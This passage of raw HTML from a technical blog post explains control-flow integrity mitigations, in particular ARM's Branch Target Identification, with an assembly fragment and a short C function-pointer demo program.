&#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">jmp</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rax</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>The hash value (present in <em>r10</em>) is compared against the original generated value [<em>rax-8</em>] at the end of the function before calling the actual target.</p><h3 id="hardware-enforced-cfi-mitigations">Hardware enforced CFI mitigations</h3><p>CFI mitigation gained rapid popularity following its initial integration into major platforms. However, both mitigations are disabled by default in all compilers due to the increased performance overhead. At this juncture, hardware vendors have taken it upon themselves to ensure that CFI is readily accessible. Intel and ARM both has introduced similar kind of mitigation for forward edge integrity, explained below.</p><h3 id="bti-branch-target-identification">BTI (branch target identification)</h3><p>In the year 2018, ARM unveiled the initial hardware-enforced forward edge CFI within the ARM 8.5-A processor lineage, which was named BTI (Branch target identification). The primary objective of BTI is to forestall indirect calls from redirecting to unintended destinations, thus hindering the execution of gadgets.</p><p><strong>BTI technical details</strong></p><p>BTI is straightforward in terms of its implementation. If BTI is enabled, the first instruction encountered after an indirect jump must be a special BTI instruction. When BTI is turn off, this first instruction will be treated as no-op. When BTI is on, the processor check if the BTI instruction is present as the first instruction or not. Jumps to locations that do not feature a BTI instruction, instead, will lead to the quick death of the process involved.</p><p>During branching, the type of branch is stored in the <em>PSTATE BTYPE</em> bits. Upon reaching the destination address, the processor checks whether the first instruction is BTI or not and verifies if the value passed as operand of BTI instruction matches with <em>PSTATE BTYPE</em> or not.</p><p><strong>BTI in action</strong></p><p>Let&#x2019;s compile following program to test BTI compiled code.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include&lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include&lt;stdlib.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">add</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">subtract</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Declare a function pointer</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (*operation)(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Enter 1 for add and 2 for substract:&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">scanf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot; %d&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;a);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">if</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (a == </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">1</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Assign the address of the add function to the function pointer</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; operation = add;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> result1 = operation(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;\nResult of addition: %d\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, result1);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; }</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">else</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Assign the address of the subtract function to the function pointer</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; operation = subtract;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Call the function indirectly using the function pointer</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> result2 = operation(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;\nResult of subtraction: %d\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, result2);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; }</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span 